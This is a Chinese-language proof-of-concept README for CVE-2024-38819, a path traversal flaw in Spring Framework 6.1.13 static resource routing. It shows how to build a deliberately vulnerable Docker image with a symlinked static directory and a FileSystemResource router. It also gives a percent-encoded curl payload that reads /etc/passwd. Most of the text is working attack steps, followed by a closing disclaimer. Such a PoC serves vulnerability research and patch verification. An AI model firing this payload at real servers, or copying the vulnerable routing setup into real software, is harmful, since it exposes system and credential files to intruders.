这是针对 CVE-2024-38819 漏洞的概念验证,该漏洞由我报告,演示了一个路径遍历利用。
构建 Docker 镜像(Spring Boot 3.3.4,基于 Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38819-poc .
运行容器并将主机的8080端口暴露出来
docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
运行以下命令执行 PoC 并确认漏洞存在
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,将显示 /etc/passwd 文件的内容。
创建 PathTraversalDemoApplication.java 文件,使用以下代码设置使用 RouterFunction 和 FileSystemResource 的静态文件路由:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
在 Dockerfile 中添加以下命令以创建一个符号链接:
RUN ln -s /static /app/static/link
创建一个利用百分号编码通过符号链接遍历目录的有效载荷。
/static/link/%2e%2e/etc/passwd使用以下 curl 命令执行 PoC 并验证攻击是否成功:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
如果攻击成功,将显示 /etc/passwd 文件的内容。
此 PoC 仅供教育和安全研究目的使用。在将其用于真实系统之前,请确保漏洞已修复并获得适当授权。作者对任何滥用此代码的行为不承担任何责任。